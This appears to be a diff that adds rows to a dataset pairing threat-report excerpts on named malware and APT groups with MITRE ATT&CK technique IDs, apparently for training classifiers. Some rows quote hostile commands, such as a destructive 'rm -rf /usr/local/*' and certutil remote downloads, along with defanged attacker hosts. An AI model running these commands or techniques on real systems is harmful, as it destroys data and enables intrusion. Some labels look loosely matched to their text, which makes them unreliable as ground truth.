+Poseidon utilizes a variety of tools. This tool appears to be designed to operate on high-value corporate systems like Domain Controllers or IIS servers that act as repositories of valuable information, particularly for lateral movement. The Information Gathering Tool (IGT) tool is coded in Delphi and includes powershell and SQL components across a dozen different drops. This tool contains several other executable files made in different programming languages ranging from Visual Basic 6 to C#, each one performing a very clear task devised by the group when trying to obtain more information from an objective	['T1049']
+REDBALDKNIGHT’s use of steganography isn’t limited to Daserf. Based on their pdb strings, they’re both components of another REDBALDKNIGHT-related threat, XXMM (TROJ_KVNDM), a downloader Trojan that can also act as a first-stage backdoor with its capability to open a shell. While xxmm2_builder allows REDBALDKNIGHT to customize the settings of XXMM, xxmm2_ steganography is used to hide malicious code within an image file	['T1001.002']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - xxmm downloader (also known as KVNDM) — This simple downloader's code is similar to the main xxmm payload. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. MSGet typically downloads encoded binaries from hard-coded URLs. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. After a few minutes, execute the malicious file on the system. Use malware to upload the large list of enumerated files to the C2 server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity	['T1027.001']
+cmd /c tasklist: Executes this command to collect a list of running processes on victim’s machine and store them in a tmp file	['T1005', 'T1082']
+The malware will actually search through the /Users/ folder looking for executable files. When it finds one, it will prepend malicious code to the beginning of the file. This means that when the file is executed, the malicious code is executed first. That code will then copy the legit file content into a new, invisible file and execute that	['T1036.005', 'T1554']
+APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel (XLSM) files to deliver their initial exploits	['T1566.001']
+Current variants will often drop or retrieve secondary executables to inject into, or they will attempt to inject into known (and vulnerable) binaries already present on targeted hosts	['T1055']
+As described in the analysis of the group’s previous macOS backdoor, a clientID is created. This identifier is the MD5 hash of the return value of one of the following commands	['T1082']
+The C2 domain used in this shellcode has been categorized as malware in DNS Security, URL Filtering and WildFire, which are security subscriptions for Next-Generation Firewall customers. App-ID, the traffic classification system in Next-Generation Firewalls, is capable of identifying applications irrespective of port, protocol, encryption (SSH or SSL) or any other evasive tactic used by the application. This shellcode attempts to communicate over TCP port 443 with traffic that does not conform to proper SSL or any other known application. As a matter of best practice, we advise customers to block unknown outbound TCP traffic in their security policies	['T1571']
+Figure 3: The first step of decryption will perform XOR on one byte using the previous adjacent byte, starting from the last byte and excluding the first byte	['T1140']
+Once the malware was persisted and kicked off the launch items, it invokes a function named create_rescue_executable to create yet another copy of itself. This copy will made in the user’s Library directory. Its named starts with a . so that it won’t show up in the UI (i.e. Finder.app), and is then followed via 9 random characters	['T1564.001']
+The OilRig group remains highly active in their attack campaigns while they continue to evolve their toolset. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. In the January 16, 2018 attack, we observed OilRig attacking an organization it previously targeted in January 2017. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. While this is not a new tactic, this is the first instance where we have observed the OilRig using it in their playbook. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time	['T1059.003']
+Execute Pluginhost.exe, the plugin management component. Save the payloads as Alternate Data Streams and set scheduled tasks to run them	['T1564.004']
+Upon execution, GoldMax retrieves a list of the system’s network interfaces; the malware terminates if it is unable to do so or no network interface is configured. It then attempts to determine if any of the network interfaces has the following hardcoded MAC address: c8:27:cc:c2:37:5a	['T1016']
+As with much of the malware distributed by TA505, The Trick has appeared in frequent, high-volume campaigns. The campaigns used a mix of attached zipped scripts (WSF, VBS), malicious Microsoft Office documents (Word, Excel), HTML attachments, password-protected Microsoft Word documents, links to malicious JavaScript, and other vectors. The last TA505 campaigns featuring The Trick appeared in mid-September 2017 with payloads alternating between Locky and The Trick	['T1027', 'T1204.001', 'T1204.002']
+As a Windows Management Instrumentation (WMI) client application, it initializes COM and connects to the \\root\cimv2 namespace to use the IWbemServices pointer and make WMI requests. The code executes wql queries (“wql” is “sql for wmi”, a subset of sql) to gather victim host details, like the query “SELECT Description, Manufacturer, Name, ProcessorId FROM Win32_Processor”. Here are several queries from the BlackEnergy2 plugin code	['T1047']
+"Cisco Talos' previous research has mainly linked this group to CrimsonRAT, but new campaigns show they are expanding their Windows malware arsenal with ObliqueRAT. The victim is encouraged to click on an embedded URL hosted on sharingmymedia[.]com, which then downloads ObliqueRAT, the trojan discovered by Talos in 2020 associated with threat activity targeting entities in South Asia. We cannot confirm how the maldocs were delivered to victims, but we suspect they were probably sent as attachments to phishing emails based on previous threat actor behavior and the targeted nature of this particular lure. In such cases, adversaries would deliver phishing maldocs to targets containing a malicious VBA macro that extracted either the CrimsonRAT executable or a ZIP archive embedded in the maldoc. For example, attackers leveraging ObliqueRAT started hosting their malicious payloads on compromised websites instead of embedding the malware in the maldoc. After enabling macros, the file executes CrimsonRAT on the endpoint.Figure 4: The ""Download Now"" button contains a link to a malicious XLS with CrimsonRAT embedded in it. Lures and targeting . Transparent Tribe uses a variety of themes in their lures that evolved over time. Defense-themed lures . Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. HoneyTraps . Transparent Tribe consistently uses alluring documents and file names, commonly referred to as honeytraps, to trick victims into executing malicious content on their endpoints. In a few of these instances, the malicious executables in the archives contained honeytrap-themed icons to entice the victims into executing them"	['T1204.001']
+The back door Java file uses a custom class loader that loads encrypted class files (named Opcion[1-14]) as it receives commands from the RAT controller server. The key, specified by the attacker when creating the back door, is used to encrypt the class files using DES as a stream cipher	['T1027']
+The results are Gzipped and saved under random file in the temp folder. Following successful collection of information, the data is send back to the C2 and the file is deleted	['T1074.001', 'T1560.001']
+Below is an example of anti-analysis technique showing the loader checking if the victim system is a Vmware or VirtualBox VM	['T1497.001']
+POWRUNER may also receive batch commands from the C2 server to collect host information from the system. An example batch command is provided in Figure 11	['T1069.002', 'T1069.001', 'T1087.002']
+First, just like the Gh0st in the dshell paper from SANS, the decrypted protocol consists of a 5 byte header (ngLGX), a 4byte packet length field, and finally another 4 byte uncompressed length field. This is where the similarity ends as the Opcode and the data are compressed using ZLib, instead of just the data. Additionally, the entire packet is encrypted with an algorithm making visual analysis of the Wireshark data challenging. However, as the packet header is static, you can use the encrypted header as an identifier, like I did in my script. The encrypted header is: “\xEA\xEE\xCC\xD3\xB8” and is unchanged throughout the malware’s runthrough	['T1132.001']
+Attackers like to use spear-fishing email with password protected RAR attachment to avoid being detected by the email gateway. Decryption password is provided in the mail body and inside the attachment it is a MHTML macro based document with the .doc suffix. Its purpose is to implant Imminent backdoor and gain a foothold into the target network which may make the follow up lateral movement easier to implement	['T1027']
+This cabinet file is then extracted to the previously identified file path. Again, a shortcut file is written to the %TEMP% path with a name of ‘~Update.lnk’, which is in turn copied to the identified startup path with a filename of ‘Windows help.lnk’. This shortcut file calls the built-in ‘control.exe’ utility to in turn load the previously dropped malicious CPL file of ‘winhelp.cpl’. Finally, the malware calls the ‘winhelp.cpl’ file in a new process via the following command	['T1012']
+Persistence with BITS UBoatRAT achieves persistence by using Microsoft Windows Background Intelligent Transfer Service(BITS). BITS is a service for transferring files between machines. Though the most famous application using the service is Windows Update, other applications or users can take advantage of the component. The tool provides the option, /SetNotifyCmdLine which executes a program when the job finishes transferring data or is in error. UBoatRAT takes advantage of the option to ensure it stays running on a system, even after a reboot. After completing the copying the local file, BITS executes the UBoatRAT file configured with /SetNotifyCmdLine at the third line	['T1197']
+It moves the property list (plist) file com.dorusio.pkg.wallet.plist from the Installer package to the /Library/LaunchDaemons/ folder (Scheduled Task/Job: Launchd [T1053.004]). Because the LaunchDaemon will not run automatically after the plist file is moved, the postinstall script launches Dorusio_upgrade and runs it in the background (Create or Modify System Process: Launch Daemon [T1543.004	['T1543.004']
+The group extensively uses long-running strategic web compromises[2] (SWCs), and relies on whitelists to deliver payloads to select victims. In comparison to other threat groups, TG-3390 is notable for its tendency to compromise Microsoft Exchange servers using a custom backdoor and credential logger	['T1189']
+Both variants of the BitPaymer malware feature multiple techniques to hinder analysis. The malware developers have employed a combination of encrypted strings, string hashes and dynamic API resolution to ensure that no strings exist in the binary	['T1106']
+Ramsay implements a decentralized way of storing these artifacts among the victim’s file system by using inline hooks applied on two Windows API functions, WriteFile and CloseHandle	['T1106']
+The VBScript also uploads the output of the provided batch scripts to the command and control (C2) server, which provides threat actors a functional remote shell to the system	['T1119']
+The malware collects loads of sensitive data, which are then temporarily stored in files and deleted after they have been successfully uploaded to the C&C servers. Even the deleted files can, however, be recovered by an experienced system administrator, which could help further investigation of the attack – after the victim becomes aware of it. This is possible due to the fact that some data still reside on a disk even after a file is deleted. To prevent this, the malware has the ability to safe-delete all the files, which means it first overwrites the data in a file with zeroes or random bytes, and only then is the file deleted	['T1070.004']
+It uses virtualization software – QEMU on macOS and VirtualBox on Windows – to mine cryptocurrency on a Tiny Core Linux virtual machine, making it cross platform. The admins of the site also frequently update the applications with newer versions, making it difficult to track the very first version of the miner. 2) Shell scripts used to launch the QEMU images. qemuservice shell script . After the dependencies are copied over, all miner-related daemons are launched and then the actual software is installed: - qemuservice won’t launch the image if the Activity Monitor process is running. In fact, if it is running, it will unload the plist that it was launched by. Before installation, version 1 of the miner is removed along with executing the command: rm -rf /usr/local/* . As seen in the listing in Script 2, it only does so when it detects a running qemu-system-x86_64 process. Launching the Linux image . All versions use multiple shell scripts to launch the images. Version 1 executes the following binaries (copies of qemu-system-x86_64) to launch the QEMU images: qemu-system-x86_64, system-monitor, tools-service. All versions use the following switches: - -M accel=hvf to use the Hypervisor framework as an accelerator. There are, however, some hints that can help you to identify when an application contains unwanted code: - A trust popup from an unexpected, “additional” installer (in this case the Oracle network adapter). - High CPU consumption by a process you did not install (QEMU or VirtualBox in this case). - A new service added to the startup services list (Windows) or a new Launch Daemon (macOS). - Network connections to curious domain names (such as system-update[.]info or system-check[.]services here). Indicators of Compromise (IoCs) . Hashes . macOS “cracked” applications (versions 1-3) . Windows “cracked” applications (version 4) . Linux images . Filenames . macOS . Windows . Hostnames . Download hosts (via HTTP on port 80) . Update hosts (via SCP) . Mining hosts . MITRE ATT&CK techniques . 20 Jun 2019 - 11:00AM . Sign up to receive an email update whenever a new article is published in our Ukraine Crisis – Digital Security Resource Center . Newsletter . Similar Articles . ESET Research . Watering hole deploys new macOS malware, DazzleSpy, in Asia . Virus Bulletin: Old malware never dies – it just gets more targeted . Anatomy of native IIS malware . Some URL shortener services distribute Android malware, including banking or SMS trojans . Discussion	['T1569.001']
+Kimsuky is a highly motivated threat actor targeting a number of entities in South Korea. This group has been relentlessly creating new infection chains to deliver different types of malware to their victims. This campaign relies on the abuse of Blogspot to host attacker-operated blogs serving malicious VB based scripts to their targets. We've found preliminary malicious components from initial access beacons to file exfiltrators being deployed to victims. In many cases, the content of these preliminary components was combined to serve special scripts to victims.The final implants utilized by the actors in this campaign are derivatives of the Gold Dragon/Brave Prince malware families. Such targeted attacks can result in the leak of restricted research, unauthorized access for espionage and even destructive attacks against target organizations	['T1608.001']
+If the user opens the file and the exploitation is successful, a backdoor Trojan is installed on the system that gives the attacker access and a decoy document is displayed to the victim. The main module is also responsible for communicating with its C2 servers and handling commands issued by the C2 server. Figure 8: FakeM Architecture . All FakeM variants initiate communications with its C2 server and check the C2’s response for a command. After sending the acknowledgement packet, the Trojan will gather local system information and include it in a beacon to the C2 server. The Trojan uses AES to encrypt the communication channel its C2 server, which will provide one of three commands to carry out activities on the compromised system, as seen in Table 4. Unit 42 tracks this mobile Trojan as MobileOrder, as the authors specifically refer to commands within the app as orders. MobileOrder acts on instructions provided by its C2 server, which it communicates with over TCP port 3728. The C2 server will respond to requests from MobileOrder with commands that the Trojan refers to as “orders”. MobileOrder contains a command handler with functionality that provides a fairly robust set of commands, as seen in Table 6. Table 6: MobileOrder command handler . Infrastructure Overlap and Related Tools . There is some infrastructure overlap in the C2 servers used by almost all of the FakeM variants, as well other Trojans such as MobileOrder, Psylo, and CallMe. Actors will run HTRAN on a server and configure their malware to interact with that server; however, the actor will configure HTRAN to forward traffic to another server where the actual C2 server exists	['T1083']
+So far, our telemetry hasn’t provided any concrete evidence that shows us how the Remexi malware spread. However, we think it’s worth mentioning that for one victim we found a correlation between the execution of Remexi´s main module and the execution of an AutoIt script compiled as PE, which we believe may have dropped the malware. This dropper used an FTP with hardcoded credentials to receive its payload	['T1059.005']
+Second technique: FIN6 also leveraged the creation of Windows services (named with a random 16-character string such as IXiCDtPbtGWnrAGQ) to execute encoded PowerShell commands. The randomly named service is a by-product of using Metasploit, which creates the 16-character service by default. The encoded command contained a Metasploit reverse HTTP shellcode payload stored in a byte-array like the first technique. This C2 URL contained shellcode that would make an HTTPS request for an additional download	['T1059.001']
+PowerShell Cobalt Strike Beacon - New payload + new C2 domain - PowerShell Obfuscator - All the new PowerShell payloads are obfuscated using a publicly available script adapted from a Daniel Bohannon’s GitHub project. Using this tool, the attackers could overcome a password reset. Customized Windows Credentials Dumper - A PowerShell password dumper that is based on a known password dumping tool, using PowerShell bypass and reflective loading. The attackers specifically used it to obtain Outlook passwords. Customized Outlook Credentials Dumper - Inspired by known Outlook credentials dumpers	['T1552.002']
+During the first C&C call, the backdoor sends a pack with the victim’s system information. All further information sent to the C&C is encrypted with a public key framework, making decryption impossible. The commands from the C&C are encrypted in a simpler manner and can be decrypted if intercepted because the secret key is hardcoded in the malware	['T1012', 'T1560']
+Each payload comes compiled with a standard list of commonly used Monero-mining domains alongside a Monero wallet address. So far, we’ve identified two wallet addresses used by Blue Mockingbird that are in active circulation. Due to the private nature of Monero, we cannot see the balance of these wallets to estimate their success. We’ve seen mining payloads compiled as early as December 2019 and as recently as late April 2020. In each compilation, one of the two wallets has been embedded into the binary. The wallet addresses could be extracted from the binaries easily in earlier versions using a simple strings command. In newer versions, the string is obfuscated	['T1027']
+Certutil is a living-off the land command line utility that can be used to obtain certificate authority information and configure certificate services. Threat actors usually utilize certutil to download remote files from a given URL. It also incorporates a built-in function to decode base64-encoded files	['T1140']
+In the first campaign, the email (Figure 1) purported to be from FinCERT [8] with the subject “Памятка по информационной безопасности” (Information Security Notice) and contained a Microsoft Word attachment named “сводка1705.doc” (report1705) (Figure 3). - Another email (Figure 2) purported to be from Security Support for PCI-DSS [3] at a major credit card company with the subject line “Безопасность” (security) and a Microsoft Word attachment (Figure 4) “Требования безопасности.doc” (Safety requirements	['T1566.001']
+Web inject – the configuration file for the hooking module Once communication with the C2 is established, one of the additional modules that is downloaded is the web-inject module. It intercepts the victim’s traffic by injecting the module into the browser’s process and hooking the network API. The hooking module gets the execution flow from intercepted APIs, and as soon as the victim accesses certain web pages related to banking and finance, additional JavaScript is injected into the source page	['T1185', 'T1059.007']
+My blog post, “Remote Mac Exploitation Via Custom URL Schemes”, describes the technical details of how WindShift (ab)used custom URL schemes to infect macOS systems	['T1189']
+"Executive summary . The PROMETHIUM threat actor — active since 2012 — has been exposed multiple times over the past several years.. However, this has not deterred this actor from continuing and expanding their activities. Talos could not pinpoint the initial attack vector, however, the use of trojanized installation files to well-known applications is consistent with the previously documented campaigns. The trojanized setup will install the malware and the legitimate application, which is a good way to disguise its activities. The usage of the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key has a persistence mechanism that has been replaced by the creation of a service. The dropped files are now stored in a folder located in C:\DOCUME~1\<USER>~1\LOCALS~1\Temp\ always following the same pattern similar to the following: 4CA-B25C11-A27BC. If it is executed with the ""help"" parameter, it will install a service to execute itself as a service. The purpose of this tool is to parse the hard drive for files with a specific extension and create an archive with these files. SFT file creation routine Using the working directory as a base path, which in this sample case is C:\DOCUME~1\<USER>~1\LOCALS~1\Temp\4CA-B25C11-A27BC\, each selected file will be compressed into the file kr.zp. Mysterious Wintask.xml . Our initial analysis in a sandbox showed that the C2 contact module attempts to execute this file, searching for it in the same path as the document search module, which we further corroborated with manual analysis. Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network"	['T1204.002']
+"One, called ""frown.py,"" is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143. With a successful connection, it will send the word ""almond"" The server should reply either with ""who"" or ""ice. The RAT will answer the ""who"" command with a string that contains the username, computer name and the previously generated UUID. The ""ice"" command simply makes the RAT finish the connection procedure. This is responsible for the interpretation and execution of the C2 commands. The available commands are"	['T1033']
+APT15 then used a tool known as RemoteExec (similar to Microsoft’s Psexec) in order to remotely execute batch scripts and binaries	['T1569.002']
+At the end of August 2018, the Sednit group launched a spearphishing email campaign where it distributed shortened URLs that delivered the first stage of Zebrocy components. In the past, Sednit used a similar technique for credential phishing. However, it is unusual for the group to use this technique to deliver one of its malware components directly. Previously, it had used exploits to deliver and execute the first stage malware, while in this campaign the group relied entirely on social engineering to lure victims into running the first part of the chain. The screenshot in Figure 1 shows Bitly statistics for the shortened URL used in this campaign	['T1218.011']
+After the exploit succeeds, this Fallout Exploit Kit downloads a “.tmp” file to the %Temp% directory and calls CreateProcess to execute it. Further analysis revealed that the “.tmp” file was the latest variant of Azorult malware. It was the first time we’ve seen the new variant of Azorult malware used as primary payload for Fallout Exploit Kit	['T1105']
+In at least one engagement, we observed Blue Mockingbird seemingly experimenting with different tools to create SOCKS proxies (T1090: Proxy) for pivoting. These tools included a fast reverse proxy (frp), Secure Socket Funneling (SSF), and Venom. In one instance, the adversary also tinkered with PowerShell reverse TCP shells and a reverse shell in DLL form (T1059.001: PowerShell	['T1059.001']
+When initially executed, the malware will check its current working directory. Should it not match the expected path, Cardinal will enter its installation routine. Cardinal RAT will copy itself to a randomly named executable in the specified directory. It will then compile and execute embedded source code that contains watchdog functionality. Specifically, this newly spawned executable will ensure that the following registry key is set	['T1027.004', 'T1012', 'T1083']
+A custom executable that only contains the Metasploit shellcode. It is saved to C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msupdateconf.exe, granting the executable persistence. Another custom executable used to execute PowerShell scripts. The Mosquito JScript backdoor that uses Google Apps Script as its C&C server. Privilege escalation using the Metasploit module ext_server_priv.x86.dll [8	['T1547.001']
+It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. Persistence is maintained through a Run registry key. The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past	['T1574.001']
+The ransomware also stops security software-related processes to evade detection and termination of its malicious activities	['T1518.001', 'T1562.001']
+Later, the attackers are observed executing an HTA file hosted on a remote server by abusing mshta.exe via depended.exe. The Mshta utility can execute Microsoft HTML Application (HTA) files and can be abused to bypass application control solutions. Since mshta.exe executes outside of Internet Explorer's security context, it also bypasses browser security settings	['T1218.005']
+APT40 uses a variety of malware and tools to establish a foothold, many of which are either publicly available or used by other threat groups. In some cases, the group has used executables with code signing certificates to avoid detection	['T1553.002']
+Temporary audio and video files are stored within the audio and video sub-folders respectively. After a call is finished, this data is compressed and encrypted using the same techniques previously witnessed. These files are stored in randomly named .dat files within the Skype folder	['T1123', 'T1125']
+During the investigation we discovered that the Responder tool was executed from one of the victim machines that had received the spear-phishing document. One day after the initial infection, the malware operator placed the tool onto this host and executed it using the following command	['T1204.002']
+The attackers used the famous Mimikatz credential dumping tool as their main tool to obtain credentials including user passwords, NTLM hashes and Kerberos tickets. Mimikatz is a very popular tool and is detected by most antivirus vendors and other security products. Therefore, the attackers used over 10 different customized Mimikatz payloads, which were obfuscated and packed in a way that allowed them to evade antivirus detection	['T1588.002']
+Editor’s note: Following publication of this blog, it came to our attention that AhnLab encountered what appears to be an earlier version of SDBbot, described in their recent Q3 ASEC Report as a “malicious SDB file. AhnLab describes delivery of the malware in South Korean campaigns as a secondary payload to the FlawedAmmyy RAT. TA505 has been active in South Korea in 2019 and frequently distributes the FlawedAmmyy RAT, but we cannot verify the connection at this time	['T1204.002']
+This DLL is used for decrypting and executing another JavaScript backdoor such as Orz. The DLL is registered by the installer using regsvr32. If the string “DR” is passed as an argument, or if the DLL is running in the active session with a username that is not “system”, the final JavaScript backdoor is decoded using a custom base64 alphabet. This backdoor has to be present in the same directory as the dll, with a “.tmp” file extension. The backdoor script is then executed using the IActiveScript and IActiveScriptParse32 COM interfaces	['T1140']
+The ‘vac.dll’ DLL file is signed with a valid, legitimate digital signature, although the file has been tampered with. At first glance, the fact that its digital signature is valid would suggest the file has not been manipulated after being digitally signed	['T1553.002']
+Ultimately, the XLS writes two files to disk, one of which -- the BAT -- immediately modifies some system settings and creates two scheduled tasks. However, this behaviour may not be enough to determine the components as malicious. Only after 20 minutes will the task scheduler execute the VBS downloader component and launch the BackConfig loader EXE, by which time analysis systems may have stopped monitoring	['T1053.005']
+CTU researchers have observed BRONZE PRESIDENT targeting multiple NGOs. The threat actors steal data from compromised systems over a long period of time, which likely indicates a long-term objective of monitoring the target's network. BRONZE PRESIDENT uses custom batch scripts to collect either specific file types (including files with .pptx, .xlsx, .pdf extensions) or all files within a specific location. CTU researchers also observed evidence that the threat actors collect credentials from high-privilege network accounts and reputationally sensitive accounts, such as social media and webmail accounts	['T1119']
+The malware calls User32.dll's GetKeyboardLayoutList function, inspects the keyboard identifier, and returns true if the result ends in a value between \x18 thru \x44 inclusive. This result means the compromised host is whitelisted based on the host's configured keyboard layout. The malware inspects only the lower byte of the full keyboard identifier, so all systems using the keyboard locales listed in Table 4 are immune to REvil. Despite the large number of potential matches, CTU researchers suspect that the malware author intended to identify Russian keyboards based on several other links to the Russia-based GandCrab ransomware	['T1082']
+The malware checks the language of the machine with function “GetUserDefaultUILanguage” and saves the value in the stack; it is not checked automatically after the call, but it is important later	['T1614.001']
+Next, it checks the running processes against a list of hard-coded process names; if any are found, the machine is forcefully rebooted. The names are linked to various tools used by malware researchers	['T1057', 'T1518.001']
+In the obfuscated and packed version of the loader, an uncommon API call is used to facilitate code injection. As seen in the image below, the loader uses VirtualAllocExNuma to allocate new memory and store the returned base address. The beginning of an obfuscated shellcode is copied to this address after being decrypted using an RC4 algorithm.In addition to the shellcode an additional PE can be seen in memory	['T1106']
+The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. hex(Environment.UserName/Environment.MachineName)> The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://<c2 domain>/what	['T1053.005']
+After executing the sample, we noticed the sample copied itself to a hidden folder and launched from the hidden folder. This is a good first step to hide itself from casual observation on disk	['T1564.001']
+Qakbot has anti-analysis and anti-virtual machine checks. It will not continue to execute if any of the following exists in the system	['T1497.001']
+Unlike recent variants of Mirai and Gafgyt that target vulnerable Linux systems via randomly generated IP addresses, Xbash also scans and trawls through domain names. Hadoop’s unauthenticated command execution flaw discovered in October 2016, as well as the Redis arbitrary and remote command execution vulnerability disclosed in October 2015, have yet to be assigned CVE numbers. Based on the active C&C traffic, it scans and probes for open TCP or UDP ports such as HTTP, VNC, MySQL/MariaDB, Telnet, FTP, MongoDB, RDP, ElasticSearch, Oracle Database, CouchDB, Rlogin and PostgreSQL. While the malware uses a weak username and password dictionary to brute force itself into the service, it is also able to update its set from the C&C server, delete all the databases, and display the ransom message	['T1110.001']
+BITSAdmin tool - Win32 apps BITSAdmin is a command-line tool that you can use to create download or upload jobs and monitor their progress. Using BITS - Win32 apps Using BITS - bitsadmin examples Examples showing how to use the bitsadmin tool to perform the most common tasks. Background Intelligent Transfer Service - Win32 apps Background Intelligent Transfer Service (BITS) transfers files (downloads or uploads) between a client and server and provides progress information related to the transfers. cleanmgr Configure the Disk Cleanup tool (Cleanmgr.exe) to automatically clean up certain files. bitsadmin Reference article for the bitsadmin command, which is a command-line tool used to create, download, or upload jobs and monitor their progress	['T1570']
+"Talos has identified two different infection vectors associated with this particular campaign. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. In the first scenario, Talos discovered a document named ""MinutesofMeeting-2May19.docx"", that appeared to display the national flag of Jordan. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim's machine"	['T1053.005']
+After this it will destroy all shadow volumes of the victim machine and disable the protection of the recovery boot with this command	['T1490']
+The command in Figure 8 downloads and launches code within an SCT file. The SCT file in the payload (MD5: 1554d6fe12830ae57284b389a1132d65) contained the code shown in Figure 9	['T1059']
+Steals Google Chrome and Apple Safari browser cookies from the victim’s machine - Steals saved usernames and passwords in Chrome - Steals saved credit card credentials in Chrome - Steals iPhone’s text messages if backed up to Mac - Steals cryptocurrency wallet data and keys - Keeps full control of the victim using the EmPyre backdoor - Mines cryptocurrency on the victim’s machine	['T1555.003']
+Look for traffic to any of the related malicious domains identified in Appendix A. Use the signatures provided by FireEye to identify related activity. Make sure all credentials in an organization, including service accounts, are reset following a breach and that default passwords or those similar to previous passwords are not used. If you run an on-premise Exchange environment, consider adding alerting mechanisms to any EDR solutions for processes using the Exchange Management Shell PowerShell cmdlets listed in Appendix B. This may or may not be a valid detection approach depending on how frequently this is used within your organization. More generally, if the Exchange Management Shell is rarely used in a legitimate Administrative context, it may be worth investigating any historical use of this shell	['T1482']
+"Config.json"" is a mining config file for XMRig, an open-source Monero miner. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. Lowerv2.sh"" and ""rootv2.sh"" are similar shell scripts that attempt to download and execute the mining malware components ""bashf"" and ""bashg,"" hosted on 118[.]24[.]150[.]172. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called ""XbashY"" from 3g2upl4pq6kufc4m[.]tk. R88.sh"" is a shell script that installs a cron job and attempts to download ""lowerv2.sh"" or ""rootv2.sh. Based on the config file it uses, it appears to be the Monero Silent Miner. Advertising for the miner promotes it as offering startup registry key persistence, mining only while idle, and the ability to inject the miner into ""Windows processes to bypass firewalls. The sample grabs the config file ""xmr.txt,"" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. Intriguingly, this file appears to share some similarities with Cobalt Strike, the popular penetration testing software, which would allow the attacker to have greater control over the infected system. Both Iron and Rocke's malware behave similarly, and reach out to similar infrastructure"	['T1059.004']
+It uses the Windows service “winmgmts:\\.\root\SecurityCenter2 ” to check all AntiVirus products installed on the operating system. As shown below in the figure, it is done by creating the object the service “ winmgmts:\\.\root\SecurityCenter2 ” and executes the query “ Select * From AntiVirusProduct ” by using the same object that is created of a mentioned service	['T1518.001']
+Flagpro v2.0 has another new function. If a dialog title is “Internet Explorer [7-11]” (the number after “Internet Explorer” depends on what version the user users) when Flagpro accesses to an external site, Flagpro sends WM_CLOSE message to close the dialog	['T1070']
+"The file destruction algorithm is composed of two stages: a first stage to overwrite files and another to destroy the physical disk layout and the partition tables along with it. For the file destruction, it takes ownership of the files by modifying their ACL entries after it has obtained the 'SeTakeOwnershipPrivilege'. A file found will then simply be overwritten with zeros. This is done for the next 23 drives alphabetically (through ""Z:\""). On the second stage, the wiper attempts to set the drive layout of all the physical drives on the system numbered 9 to 0. This will wipe out all extended information about the physical drive's partitions including MBR, GPT and partition entries. Destroying the start of the files and the partitions tables is a common technique seen on other wipers, and its highly effective in preventing the file recovery"	['T1561.002']
+BEACON payloads have commonly been executed after moving laterally to new hosts within the victim network. The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication	['T1133']
+This second request (Encoded Get System Information Request) is encoded using the same method as the custom TCP protocol used for communication with command-and-control servers, which uses a four-byte XOR encoding. Before acting on the request, Winnti will validate the third DWORD contains the magic value 0xABC18CBA before executing tasking	['T1573.001', 'T1205']
+an executable (also compressed, i.e. zip, rar or cab archive), sometimes pretending to be a different file format, like Dyreza - a document (commonly PDF or some MS Office format ) – like this Dridex downloader	['T1204.002']
+After “GetExtendedTcpTable” is executed and the process returns back to the second part of the code, it iteratively checks every record in the returned Tcp table. If any record contains the PID Waterbear wants to hide, it will remove the corresponding record, modify the record number inside the table, and continue to check the succeeding records	['T1562.006']
